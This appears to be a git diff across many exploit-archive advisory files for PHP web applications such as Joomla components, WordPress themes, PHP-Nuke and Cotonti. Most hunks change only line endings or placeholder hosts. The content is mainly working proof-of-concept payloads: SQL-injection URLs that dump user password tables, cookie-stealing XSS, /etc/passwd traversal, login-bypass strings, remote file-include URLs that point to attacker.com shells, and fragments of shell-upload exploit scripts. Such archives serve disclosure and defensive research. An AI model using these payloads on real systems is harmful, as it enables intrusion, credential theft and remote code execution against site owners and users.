b/platforms/php/webapps/35797.txt index ad91dbe89..08e41041d 100755 --- a/platforms/php/webapps/35797.txt +++ b/platforms/php/webapps/35797.txt @@ -4,4 +4,4 @@ The 'com_shop' component for Joomla! is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_shop&task=viewproduct&editid=[SQLi] \ No newline at end of file +http://www.example.com/index.php?option=com_shop&task=viewproduct&editid=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/35798.txt b/platforms/php/webapps/35798.txt index 08e412db7..955788256 100755 --- a/platforms/php/webapps/35798.txt +++ b/platforms/php/webapps/35798.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Kryn.cms 0.9 is vulnerable; other versions may also be affected. -http://www.example.com/kyrn/index.php?_kurl=%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file +http://www.example.com/kyrn/index.php?_kurl=%3Cscript%3Ealert%280%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35803.txt b/platforms/php/webapps/35803.txt index 556129536..3d4a8a3bf 100755 --- a/platforms/php/webapps/35803.txt +++ b/platforms/php/webapps/35803.txt @@ -7,4 +7,4 @@ A successful exploit may allow an attacker to compromise the application, access Cotonti 0.9.2 is vulnerable; other versions may also be affected. http://www.example.com/users.php?s=-2+AND+31337=0 -http://www.example.com/forums.php?m=topics&s=offtopic&ord=-2+AND+31337=0 \ No newline at end of file +http://www.example.com/forums.php?m=topics&s=offtopic&ord=-2+AND+31337=0 \ No newline at end of file diff --git a/platforms/php/webapps/35808.txt b/platforms/php/webapps/35808.txt index 0771643fb..afe000523 100755 --- a/platforms/php/webapps/35808.txt +++ b/platforms/php/webapps/35808.txt @@ -12,4 +12,4 @@ http://www.example.com/serendipity/index.php?/plugin/tag/hallo=><body onload=ale http://www.example.com/serendipity/index.php?/plugin/tag/<body onload=alert(666)> -http://www.example.com/serendipity/index.php?/plugin/tag/<body onload=alert(String.fromCharCode(88,83,83))> \ No newline at end of file +http://www.example.com/serendipity/index.php?/plugin/tag/<body onload=alert(String.fromCharCode(88,83,83))> \ No newline at end of file diff --git a/platforms/php/webapps/35814.txt b/platforms/php/webapps/35814.txt index eab20f074..95b54a34c 100755 --- a/platforms/php/webapps/35814.txt +++ b/platforms/php/webapps/35814.txt @@ -8,4 +8,4 @@ TEDE Simplificado v1.01 and vS2.04 are vulnerable; other versions may also be af http://www.example.com/tde_busca/processaPesquisa.php?pesqExecutada=1&id=663%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%280x7e,0x27,unhex%28hex%28database%28%29%29%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1 -http://www.example.com/tde_busca/tde_fut.php?id=10%20union%20select%201,2,3,4 \ No newline at end of file +http://www.example.com/tde_busca/tde_fut.php?id=10%20union%20select%201,2,3,4 \ No newline at end of file diff --git a/platforms/php/webapps/35819.txt b/platforms/php/webapps/35819.txt index 6b2735108..ac21c8fdb 100755 --- a/platforms/php/webapps/35819.txt +++ b/platforms/php/webapps/35819.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Ushahidi 2.0.1 is vulnerable; prior versions may also be affected. -http://www.example.com/index.php/admin/dashboard/?range=1[SQLi] \ No newline at end of file +http://www.example.com/index.php/admin/dashboard/?range=1[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/35824.txt b/platforms/php/webapps/35824.txt index ac657604b..98de39f2c 100755 --- a/platforms/php/webapps/35824.txt +++ b/platforms/php/webapps/35824.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow vBulletin vBExperience 3.0 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/xperience.php?sortfield=xr&sortorder="><script>alert(1);</script> \ No newline at end of file +http://www.example.com/[path]/xperience.php?sortfield=xr&sortorder="><script>alert(1);</script> \ No newline at end of file diff --git a/platforms/php/webapps/35826.txt b/platforms/php/webapps/35826.txt index bac8c5af0..d2d0ef25d 100755 --- a/platforms/php/webapps/35826.txt +++ b/platforms/php/webapps/35826.txt @@ -4,4 +4,4 @@ http://www.noticeboardpro.com/notice-board-pro-copyright.htmlJoomla CCBoard is p Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_ccboard&view=postlist&forum=1&topic=2 \ No newline at end of file +http://www.example.com/index.php?option=com_ccboard&view=postlist&forum=1&topic=2 \ No newline at end of file diff --git a/platforms/php/webapps/35829.txt b/platforms/php/webapps/35829.txt index b9ca69685..196e5f5c8 100755 --- a/platforms/php/webapps/35829.txt +++ b/platforms/php/webapps/35829.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Nakid CMS 1.0.2 is vulnerable; other versions may also be affected. -http://www.example.com/cms/assets/addons/kcfinder/browse.php?CKEditorFuncNum=0);alert(0);// \ No newline at end of file +http://www.example.com/cms/assets/addons/kcfinder/browse.php?CKEditorFuncNum=0);alert(0);// \ No newline at end of file diff --git a/platforms/php/webapps/3583.txt b/platforms/php/webapps/3583.txt index b76731415..2f0033bb6 100755 --- a/platforms/php/webapps/3583.txt +++ b/platforms/php/webapps/3583.txt @@ -72,12 +72,12 @@ mwiki/LocalSettings.php Poc/Exploit: ~~~~~~~~~~ -http://server/[C-Abre_path]/lib/Richtxt_functions.inc.php?root_path=http://attacker.com/evil? -http://server/[C-Abre_path]/lib/adddocfile.php?root_path=http://attacker.com/evil? -http://server/[C-Abre_path]/lib/auth_check.php?root_path=http://attacker.com/evil? -http://server/[C-Abre_path]/lib/browse_current_category.inc.php?root_path=http://attacker.com/evil? -http://server/[C-Abre_path]/lib/docfile_details.php?root_path=http://attacker.com/evil? -http://server/[C-Abre_path]/lib/main.php?root_path=http://attacker.com/evil? +http://www.target.com/[C-Abre_path]/lib/Richtxt_functions.inc.php?root_path=http://attacker.com/evil? +http://www.target.com/[C-Abre_path]/lib/adddocfile.php?root_path=http://attacker.com/evil? +http://www.target.com/[C-Abre_path]/lib/auth_check.php?root_path=http://attacker.com/evil? +http://www.target.com/[C-Abre_path]/lib/browse_current_category.inc.php?root_path=http://attacker.com/evil? +http://www.target.com/[C-Abre_path]/lib/docfile_details.php?root_path=http://attacker.com/evil? +http://www.target.com/[C-Abre_path]/lib/main.php?root_path=http://attacker.com/evil? Solution: diff --git a/platforms/php/webapps/35830.txt b/platforms/php/webapps/35830.txt index ca773a278..179800496 100755 --- a/platforms/php/webapps/35830.txt +++ b/platforms/php/webapps/35830.txt @@ -4,4 +4,4 @@ Multiple WordPress WooThemes (Live Wire) are prone to a cross-site scripting vul An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/wp-content/themes/_theme's_name_/includes/test.php?a[]=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/wp-content/themes/_theme's_name_/includes/test.php?a[]=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35831.txt b/platforms/php/webapps/35831.txt index a883a6f3b..9a388d041 100755 --- a/platforms/php/webapps/35831.txt +++ b/platforms/php/webapps/35831.txt @@ -5,4 +5,4 @@ PopScript is prone to a remote file-include vulnerability, an SQL-injection vuln Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass the authentication control. http://www.example.com/PopScript/index.php?act=inbox&mode=1 [ SQL injection ] -http://www.example.com/index.php?mode=[Shell txt]?&password=nassrawi&remember=ON \ No newline at end of file +http://www.example.com/index.php?mode=[Shell txt]?&password=nassrawi&remember=ON \ No newline at end of file diff --git a/platforms/php/webapps/35832.txt b/platforms/php/webapps/35832.txt index 2f572e903..0d8ae4d9b 100755 --- a/platforms/php/webapps/35832.txt +++ b/platforms/php/webapps/35832.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Squiz Matrix 4.0.6 and 4.2.2 are vulnerable; other versions may also be affected. -http://www.example.com/__lib/html_form/colour_picker.php?colour=';%20alert(document.cookie);%20var%20x='&pickerid=000000 \ No newline at end of file +http://www.example.com/__lib/html_form/colour_picker.php?colour=';%20alert(document.cookie);%20var%20x='&pickerid=000000 \ No newline at end of file diff --git a/platforms/php/webapps/35833.txt b/platforms/php/webapps/35833.txt index 3449b2a78..8693d7f19 100755 --- a/platforms/php/webapps/35833.txt +++ b/platforms/php/webapps/35833.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor NOTE (July 4, 2011): The vendor indicates that this issue affects versions prior to Xataface 1.2.6, while the reporter indicates 1.3rc1 and 1.3rc2 are affected. -http://www.example.com/index.php?-action=../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?-action=../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/35838.txt b/platforms/php/webapps/35838.txt index 96825d69e..331aecf6a 100755 --- a/platforms/php/webapps/35838.txt +++ b/platforms/php/webapps/35838.txt @@ -4,4 +4,4 @@ Tolinet Agencia is prone to an SQL-injection vulnerability because the applicati A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/index.php?tip=art&id=2' <- blind sql \ No newline at end of file +http://www.example.com/index.php?tip=art&id=2' <- blind sql \ No newline at end of file diff --git a/platforms/php/webapps/35839.txt b/platforms/php/webapps/35839.txt index ca1810d58..d74a5d2d4 100755 --- a/platforms/php/webapps/35839.txt +++ b/platforms/php/webapps/35839.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Joomla Minitek FAQ Book 1.3 is vulnerable; other versions may also be affected. -http://www.example.com/demo16/faq-book?view=category&id=-7+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+jos_users-- \ No newline at end of file +http://www.example.com/demo16/faq-book?view=category&id=-7+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+jos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/35851.txt b/platforms/php/webapps/35851.txt index 7abe9ef89..6c441e47a 100755 --- a/platforms/php/webapps/35851.txt +++ b/platforms/php/webapps/35851.txt @@ -9,4 +9,4 @@ WebFileExplorer 3.6 is vulnerable; other versions may also be affected. Supplying the following input to the username or password field is sufficient to exploit these issues: user: admin' or '1=1 -pass: anything \ No newline at end of file +pass: anything \ No newline at end of file diff --git a/platforms/php/webapps/35853.php b/platforms/php/webapps/35853.php index 1a2d579a5..e24adabaa 100755 --- a/platforms/php/webapps/35853.php +++ b/platforms/php/webapps/35853.php @@ -14,7 +14,7 @@ Phpnuke 8.3 is vulnerable; other versions may also be affected. #http://www.pentesters.ir /////////////////////////////////////////////////// //Settings: -$address = 'http://your-server'; +$address = 'http://your-target.com'; $file = 'shell.php.01'; $prefix='pentesters_'; diff --git a/platforms/php/webapps/35854.pl b/platforms/php/webapps/35854.pl index 6fdd748da..2df7d63b9 100755 --- a/platforms/php/webapps/35854.pl +++ b/platforms/php/webapps/35854.pl @@ -21,7 +21,7 @@ print "\n" . "///////////////////////////////////" ."\n"; print " Iranian Pentesters Home" . "\n"; print " PHP Nuke 8.3 MT AFU Vulnerability" . "\n"; print "///////////////////////////////////" ."\n"; -print "\n" . "Syntax: perl xpl.pl http://your-server shell.php.01 [prefix]" . "\n\n"; +print "\n" . "Syntax: perl xpl.pl http://your-target.com shell.php.01 [prefix]" . "\n\n"; my $url = $ARGV[0]."/includes/richedit/upload.php"; my $filename = $ARGV[1]; my $prefix = $ARGV[2]; diff --git a/platforms/php/webapps/35865.txt b/platforms/php/webapps/35865.txt index 59f531c16..00df26932 100755 --- a/platforms/php/webapps/35865.txt +++ b/platforms/php/webapps/35865.txt @@ -7,4 +7,4 @@ A successful exploit may allow an attacker to compromise the application, access Nibbleblog 3.0 is affected; other versions may also be vulnerable. http://www.example.com/index.php?page=[SQLi] -http://www.example.com/post.php?idpost=[SQLi] \ No newline at end of file +http://www.example.com/post.php?idpost=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/35871.txt b/platforms/php/webapps/35871.txt index 445bdc6af..22a64080d 100755 --- a/platforms/php/webapps/35871.txt +++ b/platforms/php/webapps/35871.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Sitemagic CMS 2010.04.17 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?SMExt=[xss] \ No newline at end of file +http://www.example.com/index.php?SMExt=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/35874.txt b/platforms/php/webapps/35874.txt index b18d25b20..dcff46e0f 100755 --- a/platforms/php/webapps/35874.txt +++ b/platforms/php/webapps/35874.txt @@ -8,4 +8,4 @@ http://www.example.com/path/catalogue.php?id_shop=7[SQLI] http://www.example.com/path/article.php?id_article=7[SQLI] http://www.example.com/path/banniere.php?id_article=7[SQLI] http://www.example.com/path/detail_news.php?id_article=7[SQLI] -http://www.example.com/path/detail_produit.php?id_shop=3&ref=200308G[SQLI] \ No newline at end of file +http://www.example.com/path/detail_produit.php?id_shop=3&ref=200308G[SQLI] \ No newline at end of file diff --git a/platforms/php/webapps/35877.txt b/platforms/php/webapps/35877.txt index 003280f01..73cdd88de 100755 --- a/platforms/php/webapps/35877.txt +++ b/platforms/php/webapps/35877.txt @@ -4,4 +4,4 @@ Sitemagic CMS is prone to a directory-traversal vulnerability because it fails t An attacker can exploit this vulnerability to obtain arbitrary local files in the context of the webserver process. -http://www.example.com/smcmsdemoint/index.php?SMTpl=../../../../../../../../../../etc/passwd%00.png \ No newline at end of file +http://www.example.com/smcmsdemoint/index.php?SMTpl=../../../../../../../../../../etc/passwd%00.png \ No newline at end of file diff --git a/platforms/php/webapps/35882.txt b/platforms/php/webapps/35882.txt index 12c81ee08..964f5d8b3 100755 --- a/platforms/php/webapps/35882.txt +++ b/platforms/php/webapps/35882.txt @@ -4,4 +4,4 @@ Nodesforum is prone to an SQL-injection vulnerability because the application fa A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/?_nodesforum_node=u1' \ No newline at end of file +http://www.example.com/?_nodesforum_node=u1' \ No newline at end of file diff --git a/platforms/php/webapps/35883.txt b/platforms/php/webapps/35883.txt index 8c192df9c..ff73d6f2f 100755 --- a/platforms/php/webapps/35883.txt +++ b/platforms/php/webapps/35883.txt @@ -4,4 +4,4 @@ The 'com_morfeoshow' component for Joomla! is prone to an SQL-injection vulnerab Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_morfeoshow&task=view&gallery=1&Itemid=114&Itemid=114&idm=1015+and+1=0+union+select+1,2,concat%28username,0x3a,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+jos_users+--+ \ No newline at end of file +http://www.example.com/index.php?option=com_morfeoshow&task=view&gallery=1&Itemid=114&Itemid=114&idm=1015+and+1=0+union+select+1,2,concat%28username,0x3a,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+jos_users+--+ \ No newline at end of file diff --git a/platforms/php/webapps/35893.txt b/platforms/php/webapps/35893.txt index 6655d71a0..781a04c5c 100755 --- a/platforms/php/webapps/35893.txt +++ b/platforms/php/webapps/35893.txt @@ -11,4 +11,4 @@ select @@version http://www.example.com.com/wp-admin/admin.php?page=pretty-link/prli-clicks.php&l=-1union select @@version http://www.example.com/wp-admin/admin.php?page=pretty-link/prli-links.php&group=-1union -select @@version \ No newline at end of file +select @@version \ No newline at end of file diff --git a/platforms/php/webapps/35894.txt b/platforms/php/webapps/35894.txt index 9f1131ddb..8ac350ae6 100755 --- a/platforms/php/webapps/35894.txt +++ b/platforms/php/webapps/35894.txt @@ -9,4 +9,4 @@ Joomla! CMS versions 1.6.3 and prior are vulnerable. http://www.example.com/joomla163_noseo/index.php?option=com_contact&view=category&catid=26&id=36&Itemid=-1";><script>alert(/XSS/)</script> http://www.example.com/joomla163_noseo/index.php?option=com_content&view=category&id=19&Itemid=260&limit=10&filter_order_Dir=&limitstart=&filter_order=><script>alert(/XSS/)</script> http://www.example.com/joomla163_noseo/index.php?option=com_newsfeeds&view=category&id=17&whateverehere=";><script>alert(/XSS/)</script>&Itemid=253&limit=10&filter_order_Dir=ASC&filter_order=ordering -http://www.example.com/joomla163_noseo/index.php?option=";><script>alert(/XSS/)</script>&task=reset.request \ No newline at end of file +http://www.example.com/joomla163_noseo/index.php?option=";><script>alert(/XSS/)</script>&task=reset.request \ No newline at end of file diff --git a/platforms/php/webapps/35906.txt b/platforms/php/webapps/35906.txt index a5b2e1a31..752ea12a1 100755 --- a/platforms/php/webapps/35906.txt +++ b/platforms/php/webapps/35906.txt @@ -265,4 +265,4 @@ div.phpwebquest a { font-size : 7.5pt;}; </body> </html> -#greetz to all my friends ,balawi,ro3ob hr ,mothana-X , sharingan jo , and anonymous jo , and all muslim hackers \ No newline at end of file +#greetz to all my friends ,balawi,ro3ob hr ,mothana-X , sharingan jo , and anonymous jo , and all muslim hackers \ No newline at end of file diff --git a/platforms/php/webapps/3591.txt b/platforms/php/webapps/3591.txt index dca9b00a9..74297da6a 100755 --- a/platforms/php/webapps/3591.txt +++ b/platforms/php/webapps/3591.txt @@ -14,7 +14,7 @@ #=========================================================================================== #Exploit : # -#http://www.server/modules/EN-Forums/db/mysql.php?phpbb_root_path=http://www.server/shell.txt? +#http://www.site.com/modules/EN-Forums/db/mysql.php?phpbb_root_path=http://www.site.com/shell.txt? # #=========================================================================================== # diff --git a/platforms/php/webapps/35922.txt b/platforms/php/webapps/35922.txt index bcb9eff56..9a1eab8a5 100755 --- a/platforms/php/webapps/35922.txt +++ b/platforms/php/webapps/35922.txt @@ -4,4 +4,4 @@ The 'com_jr_tfb' component for Joomla! is prone to a local file-include vulnerab An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/index.php?option=com_jr_tfb&controller=../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_jr_tfb&controller=../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/35927.txt b/platforms/php/webapps/35927.txt index 6f467c8eb..07f6f63fc 100755 --- a/platforms/php/webapps/35927.txt +++ b/platforms/php/webapps/35927.txt @@ -4,4 +4,4 @@ Classified Script is prone to a cross-site scripting vulnerability because it fa An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/c-BrowseClassified/q:%5C%22%3E%3Cmarquee%3E%3Ch1%3EXSSed%20By%20r007k17%3C/h1%3E%3C/marquee%3E|p:0|gal:0|typ:|/ \ No newline at end of file +http://www.example.com/c-BrowseClassified/q:%5C%22%3E%3Cmarquee%3E%3Ch1%3EXSSed%20By%20r007k17%3C/h1%3E%3C/marquee%3E|p:0|gal:0|typ:|/ \ No newline at end of file diff --git a/platforms/php/webapps/35929.txt b/platforms/php/webapps/35929.txt index c7fc3801b..f03f870aa 100755 --- a/platforms/php/webapps/35929.txt +++ b/platforms/php/webapps/35929.txt @@ -4,4 +4,4 @@ The 'com_voj' component for Joomla! is prone to an SQL-injection vulnerability b Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/ [PATH]/index.php?option=com_voj&task=viewCode&id=215 and 1=1 \ No newline at end of file +http://www.example.com/ [PATH]/index.php?option=com_voj&task=viewCode&id=215 and 1=1 \ No newline at end of file diff --git a/platforms/php/webapps/35931.txt b/platforms/php/webapps/35931.txt index 455b78a71..a9c13f78c 100755 --- a/platforms/php/webapps/35931.txt +++ b/platforms/php/webapps/35931.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc ICMusic 1.2 is vulnerable; other versions may also be affected. -http://www.example.com/demos/icmusic/music.php?music_id=-291+union+all+select+1,@@version,3,4,5,6-- \ No newline at end of file +http://www.example.com/demos/icmusic/music.php?music_id=-291+union+all+select+1,@@version,3,4,5,6-- \ No newline at end of file diff --git a/platforms/php/webapps/35940.txt b/platforms/php/webapps/35940.txt index 69620faa4..edfe16380 100755 --- a/platforms/php/webapps/35940.txt +++ b/platforms/php/webapps/35940.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a The following example input is available: Username: ' or 0=0 # -Password: ' or 0=0 # \ No newline at end of file +Password: ' or 0=0 # \ No newline at end of file diff --git a/platforms/php/webapps/35954.txt b/platforms/php/webapps/35954.txt index 6d978b163..60a7e621c 100755 --- a/platforms/php/webapps/35954.txt +++ b/platforms/php/webapps/35954.txt @@ -4,4 +4,4 @@ Auto Web Toolbox is prone to an SQL-injection vulnerability because the applicat A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/inventory/details.php?id=496 \ No newline at end of file +http://www.example.com/inventory/details.php?id=496 \ No newline at end of file diff --git a/platforms/php/webapps/35955.txt b/platforms/php/webapps/35955.txt index 7f0a2c852..87aa0fffe 100755 --- a/platforms/php/webapps/35955.txt +++ b/platforms/php/webapps/35955.txt @@ -4,4 +4,4 @@ Easy Estate Rental is prone to an SQL-injection vulnerability because the applic A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/demo/uk/site_location.php?s_location=46â??a \ No newline at end of file +http://www.example.com/demo/uk/site_location.php?s_location=46â??a \ No newline at end of file diff --git a/platforms/php/webapps/35956.txt b/platforms/php/webapps/35956.txt index a5a331dab..a6382c8e3 100755 --- a/platforms/php/webapps/35956.txt +++ b/platforms/php/webapps/35956.txt @@ -4,4 +4,4 @@ The 'Foto' component for Joomla! is prone to an SQL-injection vulnerability beca A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_foto&task=categoria&id_categoria=-4+union+select+1,password,username,4,5,6,7+from+jos_users-- \ No newline at end of file +http://www.example.com/index.php?option=com_foto&task=categoria&id_categoria=-4+union+select+1,password,username,4,5,6,7+from+jos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/35958.txt b/platforms/php/webapps/35958.txt index 9a4f2f80b..5f80d7c67 100755 --- a/platforms/php/webapps/35958.txt +++ b/platforms/php/webapps/35958.txt @@ -4,4 +4,4 @@ The Juicy Gallery component for Joomla! is prone to an SQL-injection vulnerabili A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_juicy&task=showComments&picId=[EXPLOIT] \ No newline at end of file +http://www.example.com/index.php?option=com_juicy&task=showComments&picId=[EXPLOIT] \ No newline at end of file diff --git a/platforms/php/webapps/35959.txt b/platforms/php/webapps/35959.txt index 94043cfde..35d06f39c 100755 --- a/platforms/php/webapps/35959.txt +++ b/platforms/php/webapps/35959.txt @@ -4,4 +4,4 @@ The 'com_hospital' component for Joomla! is prone to an SQL-injection vulnerabil Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_hospital&view=departments&Itemid=21&did=[SQL INJECTION] \ No newline at end of file +http://www.example.com/index.php?option=com_hospital&view=departments&Itemid=21&did=[SQL INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/35960.txt b/platforms/php/webapps/35960.txt index 6e2230f51..a491923e8 100755 --- a/platforms/php/webapps/35960.txt +++ b/platforms/php/webapps/35960.txt @@ -4,4 +4,4 @@ The Controller component for Joomla! is prone to an SQL-injection vulnerability A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_controller&id=53&Itemid=[SQLi] \ No newline at end of file +http://www.example.com/index.php?option=com_controller&id=53&Itemid=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/35965.txt b/platforms/php/webapps/35965.txt index 4169bfc49..9979c1f5f 100755 --- a/platforms/php/webapps/35965.txt +++ b/platforms/php/webapps/35965.txt @@ -4,4 +4,4 @@ The 'com_resman' component for Joomla! is prone to a cross-site scripting vulner An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/index.php?option=com_resman&task=list&city=<BODY%20ONLOAD=alert("SOLVER")> \ No newline at end of file +http://www.example.com/index.php?option=com_resman&task=list&city=<BODY%20ONLOAD=alert("SOLVER")> \ No newline at end of file diff --git a/platforms/php/webapps/35966.txt b/platforms/php/webapps/35966.txt index 64c510776..40a00286a 100755 --- a/platforms/php/webapps/35966.txt +++ b/platforms/php/webapps/35966.txt @@ -4,4 +4,4 @@ The 'com_newssearch' component for Joomla! is prone to an SQL-injection vulnerab Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_newssearch&type=detail&section=2&id=15' \ No newline at end of file +http://www.example.com/index.php?option=com_newssearch&type=detail&section=2&id=15' \ No newline at end of file diff --git a/platforms/php/webapps/35967.txt b/platforms/php/webapps/35967.txt index 7ae407903..97ca30e67 100755 --- a/platforms/php/webapps/35967.txt +++ b/platforms/php/webapps/35967.txt @@ -4,4 +4,4 @@ AJ Classifieds is prone to an SQL-injection vulnerability because it fails to su Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/demo/ajclassifieds/classifiedsauto/index.php?do=detaillisting&listingid=77â??a \ No newline at end of file +http://www.example.com/demo/ajclassifieds/classifiedsauto/index.php?do=detaillisting&listingid=77â??a \ No newline at end of file diff --git a/platforms/php/webapps/35968.txt b/platforms/php/webapps/35968.txt index 7653ca733..e3d07d905 100755 --- a/platforms/php/webapps/35968.txt +++ b/platforms/php/webapps/35968.txt @@ -9,4 +9,4 @@ http://www.example.com/demo5/search.php?realtor=2â??a http://www.example.com/demo4/item.php?id=94edd43315507ad8509d7bfb2d2bc936â??a -http://www.example.com/demo3/search.php?c=47â??a \ No newline at end of file +http://www.example.com/demo3/search.php?c=47â??a \ No newline at end of file diff --git a/platforms/php/webapps/35969.txt b/platforms/php/webapps/35969.txt index d7b5c7835..e12f4f191 100755 --- a/platforms/php/webapps/35969.txt +++ b/platforms/php/webapps/35969.txt @@ -4,4 +4,4 @@ BlueSoft Social Networking CMS is prone to an SQL-injection vulnerability becaus Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/demo/user_profile.php?view=photo&photo_id=82â??a \ No newline at end of file +http://www.example.com/demo/user_profile.php?view=photo&photo_id=82â??a \ No newline at end of file diff --git a/platforms/php/webapps/35971.txt b/platforms/php/webapps/35971.txt index d02fc7100..bdde9b42a 100755 --- a/platforms/php/webapps/35971.txt +++ b/platforms/php/webapps/35971.txt @@ -11,4 +11,4 @@ The following example URIs are available: http://www.example.com/wordpress/?s=<h2>XSSED</h2> -http://www.example.com/wordpress/?p=1&<h1>XSSED</h1> \ No newline at end of file +http://www.example.com/wordpress/?p=1&<h1>XSSED</h1> \ No newline at end of file diff --git a/platforms/php/webapps/35973.txt b/platforms/php/webapps/35973.txt index 2137bbe03..f8fad7de1 100755 --- a/platforms/php/webapps/35973.txt +++ b/platforms/php/webapps/35973.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Joomla! 1.6.5 and prior are vulnerable. -http://www.example.com/index.php?option=com_resman&task=list&city=<BODY%20ONLOAD=alert("SOLVER")> \ No newline at end of file +http://www.example.com/index.php?option=com_resman&task=list&city=<BODY%20ONLOAD=alert("SOLVER")> \ No newline at end of file diff --git a/platforms/php/webapps/35976.txt b/platforms/php/webapps/35976.txt index 1de677bd3..6efeec03c 100755 --- a/platforms/php/webapps/35976.txt +++ b/platforms/php/webapps/35976.txt @@ -4,4 +4,4 @@ Synergy Software is prone to an SQL-injection vulnerability because the applicat A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/courses.php?id=-1 union select null,user_loginname_vc,null,null,null,user_pass_vc,null,null,null,null from user_m \ No newline at end of file +http://www.example.com/courses.php?id=-1 union select null,user_loginname_vc,null,null,null,user_pass_vc,null,null,null,null from user_m \ No newline at end of file diff --git a/platforms/php/webapps/35977.txt b/platforms/php/webapps/35977.txt index 50df7395c..b1642e212 100755 --- a/platforms/php/webapps/35977.txt +++ b/platforms/php/webapps/35977.txt @@ -4,4 +4,4 @@ Godly Forums is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/Forum/topics.php?id=2 \ No newline at end of file +http://www.example.com/Forum/topics.php?id=2 \ No newline at end of file diff --git a/platforms/php/webapps/35979.txt b/platforms/php/webapps/35979.txt index 15304de88..005b28641 100755 --- a/platforms/php/webapps/35979.txt +++ b/platforms/php/webapps/35979.txt @@ -4,4 +4,4 @@ Willscript Recipes website Script Silver Edition is prone to an SQL-injection vu Exploiting this issue could allow an attacker to execute arbitrary code, compromise the application, access or modify data, or 